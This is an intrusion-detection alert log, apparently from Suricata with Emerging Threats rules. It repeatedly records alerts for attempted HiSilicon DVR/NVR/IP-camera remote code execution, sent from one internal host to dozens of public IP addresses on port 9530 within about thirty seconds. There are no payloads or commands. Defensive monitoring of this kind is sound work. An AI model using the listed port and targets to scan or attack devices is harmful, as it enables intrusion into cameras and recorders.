ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.111.207.131

Timestamp:	05/16/24-16:38:53.069510
SID:	2030488
Source Port:	52096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.111.207.131

Timestamp:	05/16/24-16:38:53.069510
SID:	2030487
Source Port:	52096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.216.113.120

Timestamp:	05/16/24-16:39:02.747938
SID:	2030487
Source Port:	53306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.216.113.120

Timestamp:	05/16/24-16:39:02.747938
SID:	2030488
Source Port:	53306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.149.64.129

Timestamp:	05/16/24-16:39:16.585516
SID:	2030487
Source Port:	42188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.149.64.129

Timestamp:	05/16/24-16:39:16.585516
SID:	2030488
Source Port:	42188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.195.116.240

Timestamp:	05/16/24-16:39:03.280094
SID:	2030487
Source Port:	38632
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.63.114.109

Timestamp:	05/16/24-16:38:53.094139
SID:	2030487
Source Port:	36028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.45.106.54

Timestamp:	05/16/24-16:38:53.094093
SID:	2030487
Source Port:	58234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.63.114.109

Timestamp:	05/16/24-16:38:53.094139
SID:	2030488
Source Port:	36028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.191.244.142

Timestamp:	05/16/24-16:39:12.295313
SID:	2030488
Source Port:	44168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.191.244.142

Timestamp:	05/16/24-16:39:12.295313
SID:	2030487
Source Port:	44168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.197.7.255

Timestamp:	05/16/24-16:39:14.491185
SID:	2030488
Source Port:	57708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.197.7.255

Timestamp:	05/16/24-16:39:14.491185
SID:	2030487
Source Port:	57708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.199.220.24

Timestamp:	05/16/24-16:39:05.693256
SID:	2030488
Source Port:	47486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.231.67.103

Timestamp:	05/16/24-16:38:53.098259
SID:	2030488
Source Port:	56548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.231.67.103

Timestamp:	05/16/24-16:38:53.098259
SID:	2030487
Source Port:	56548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.31.104.151

Timestamp:	05/16/24-16:39:12.400603
SID:	2030487
Source Port:	38716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.31.104.151

Timestamp:	05/16/24-16:39:12.400603
SID:	2030488
Source Port:	38716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.185.128.120

Timestamp:	05/16/24-16:38:57.434381
SID:	2030487
Source Port:	36886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.247.71.100

Timestamp:	05/16/24-16:39:08.126482
SID:	2030488
Source Port:	48140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.185.128.120

Timestamp:	05/16/24-16:38:57.434381
SID:	2030488
Source Port:	36886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.247.71.100

Timestamp:	05/16/24-16:39:08.126482
SID:	2030487
Source Port:	48140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.191.91.108

Timestamp:	05/16/24-16:39:08.145371
SID:	2030488
Source Port:	53558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.191.91.108

Timestamp:	05/16/24-16:39:08.145371
SID:	2030487
Source Port:	53558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.134.234.119

Timestamp:	05/16/24-16:39:08.041872
SID:	2030488
Source Port:	48230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.134.234.119

Timestamp:	05/16/24-16:39:08.041872
SID:	2030487
Source Port:	48230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.18.251.241

Timestamp:	05/16/24-16:39:12.380613
SID:	2030487
Source Port:	59618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.18.251.241

Timestamp:	05/16/24-16:39:12.380613
SID:	2030488
Source Port:	59618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.65.90.145

Timestamp:	05/16/24-16:38:50.004299
SID:	2030487
Source Port:	36814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.65.90.145

Timestamp:	05/16/24-16:38:50.004299
SID:	2030488
Source Port:	36814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.188.187.137

Timestamp:	05/16/24-16:39:14.520181
SID:	2030488
Source Port:	59420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.188.187.137

Timestamp:	05/16/24-16:39:14.520181
SID:	2030487
Source Port:	59420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.181.171.187

Timestamp:	05/16/24-16:38:57.413353
SID:	2030488
Source Port:	49788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.164.103.15

Timestamp:	05/16/24-16:39:05.677894
SID:	2030488
Source Port:	33680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.68.148.75

Timestamp:	05/16/24-16:39:02.767184
SID:	2030487
Source Port:	42822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.164.103.15

Timestamp:	05/16/24-16:39:05.677894
SID:	2030487
Source Port:	33680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.78.182.85

Timestamp:	05/16/24-16:39:02.725611
SID:	2030488
Source Port:	52494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.78.182.85

Timestamp:	05/16/24-16:39:02.725611
SID:	2030487
Source Port:	52494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.181.171.187

Timestamp:	05/16/24-16:38:57.413353
SID:	2030487
Source Port:	49788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.68.148.75

Timestamp:	05/16/24-16:39:02.767184
SID:	2030488
Source Port:	42822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.164.238.3

Timestamp:	05/16/24-16:38:55.196677
SID:	2030487
Source Port:	60006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.187.75.116

Timestamp:	05/16/24-16:38:55.196451
SID:	2030488
Source Port:	40234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.164.238.3

Timestamp:	05/16/24-16:38:55.196677
SID:	2030488
Source Port:	60006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.187.75.116

Timestamp:	05/16/24-16:38:55.196451
SID:	2030487
Source Port:	40234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.229.1.79

Timestamp:	05/16/24-16:39:08.041888
SID:	2030488
Source Port:	42702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.229.1.79

Timestamp:	05/16/24-16:39:08.041888
SID:	2030487
Source Port:	42702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.227.232.212

Timestamp:	05/16/24-16:39:02.767764
SID:	2030487
Source Port:	57264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.227.232.212

Timestamp:	05/16/24-16:39:02.767764
SID:	2030488
Source Port:	57264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.212.229.34

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	46736
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.84.130.194

Timestamp:	05/16/24-16:38:50.080374
SID:	2030488
Source Port:	37228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.84.130.194

Timestamp:	05/16/24-16:38:50.080374
SID:	2030487
Source Port:	37228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.212.229.34

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	46736
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.74.86.52

Timestamp:	05/16/24-16:38:57.435733
SID:	2030488
Source Port:	48320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.74.86.52

Timestamp:	05/16/24-16:38:57.435733
SID:	2030487
Source Port:	48320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.113.98.187

Timestamp:	05/16/24-16:38:53.011549
SID:	2030488
Source Port:	33736
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.113.98.187

Timestamp:	05/16/24-16:38:53.011549
SID:	2030487
Source Port:	33736
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.218.68.45

Timestamp:	05/16/24-16:39:16.579924
SID:	2030487
Source Port:	52054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.218.68.45

Timestamp:	05/16/24-16:39:16.579924
SID:	2030488
Source Port:	52054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.243.24.132

Timestamp:	05/16/24-16:38:55.175001
SID:	2030487
Source Port:	50298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.243.24.132

Timestamp:	05/16/24-16:38:55.175001
SID:	2030488
Source Port:	50298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.74.66.191

Timestamp:	05/16/24-16:38:53.011497
SID:	2030487
Source Port:	52306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.216.123.213

Timestamp:	05/16/24-16:39:02.746062
SID:	2030487
Source Port:	39348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.74.66.191

Timestamp:	05/16/24-16:38:53.011497
SID:	2030488
Source Port:	52306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.217.65.94

Timestamp:	05/16/24-16:38:59.519409
SID:	2030488
Source Port:	51010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.216.123.213

Timestamp:	05/16/24-16:39:02.746062
SID:	2030488
Source Port:	39348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.253.27.175

Timestamp:	05/16/24-16:39:14.525623
SID:	2030488
Source Port:	43764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.253.27.175

Timestamp:	05/16/24-16:39:14.525623
SID:	2030487
Source Port:	43764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.217.65.94

Timestamp:	05/16/24-16:38:59.519409
SID:	2030487
Source Port:	51010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.243.184.106

Timestamp:	05/16/24-16:38:59.559323
SID:	2030487
Source Port:	42530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.83.250.170

Timestamp:	05/16/24-16:39:02.765739
SID:	2030488
Source Port:	42578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.164.218.151

Timestamp:	05/16/24-16:39:14.521988
SID:	2030487
Source Port:	47486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.238.192.202

Timestamp:	05/16/24-16:38:53.094139
SID:	2030487
Source Port:	35336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.243.184.106

Timestamp:	05/16/24-16:38:59.559323
SID:	2030488
Source Port:	42530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.83.250.170

Timestamp:	05/16/24-16:39:02.765739
SID:	2030487
Source Port:	42578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.164.218.151

Timestamp:	05/16/24-16:39:14.521988
SID:	2030488
Source Port:	47486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.208.58.46

Timestamp:	05/16/24-16:39:05.693265
SID:	2030487
Source Port:	45066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.238.192.202

Timestamp:	05/16/24-16:38:53.094139
SID:	2030488
Source Port:	35336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.208.58.46

Timestamp:	05/16/24-16:39:05.693265
SID:	2030488
Source Port:	45066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.82.13.159

Timestamp:	05/16/24-16:38:53.011331
SID:	2030488
Source Port:	55730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.177.237.197

Timestamp:	05/16/24-16:38:59.558397
SID:	2030488
Source Port:	60040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.177.237.197

Timestamp:	05/16/24-16:38:59.558397
SID:	2030487
Source Port:	60040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.181.86.184

Timestamp:	05/16/24-16:39:03.263569
SID:	2030487
Source Port:	36888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.82.13.159

Timestamp:	05/16/24-16:38:53.011331
SID:	2030487
Source Port:	55730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.71.159.27

Timestamp:	05/16/24-16:38:55.196451
SID:	2030488
Source Port:	51226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.94.146.68

Timestamp:	05/16/24-16:39:03.277940
SID:	2030487
Source Port:	50506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.109.237.43

Timestamp:	05/16/24-16:39:16.580836
SID:	2030487
Source Port:	34430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.94.146.68

Timestamp:	05/16/24-16:39:03.277940
SID:	2030488
Source Port:	50506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.109.237.43

Timestamp:	05/16/24-16:39:16.580836
SID:	2030488
Source Port:	34430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.181.86.184

Timestamp:	05/16/24-16:39:03.263569
SID:	2030488
Source Port:	36888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.87.2.7

Timestamp:	05/16/24-16:38:53.100369
SID:	2030487
Source Port:	59182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.87.2.7

Timestamp:	05/16/24-16:38:53.100369
SID:	2030488
Source Port:	59182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.135.34.224

Timestamp:	05/16/24-16:39:12.400617
SID:	2030488
Source Port:	40140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.77.193.73

Timestamp:	05/16/24-16:39:16.600094
SID:	2030488
Source Port:	56942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.77.193.73

Timestamp:	05/16/24-16:39:16.600094
SID:	2030487
Source Port:	56942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.65.74.238

Timestamp:	05/16/24-16:38:55.223829
SID:	2030488
Source Port:	42884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.252.178.116

Timestamp:	05/16/24-16:39:16.600044
SID:	2030487
Source Port:	54282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.71.159.27

Timestamp:	05/16/24-16:38:55.196451
SID:	2030487
Source Port:	51226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.65.74.238

Timestamp:	05/16/24-16:38:55.223829
SID:	2030487
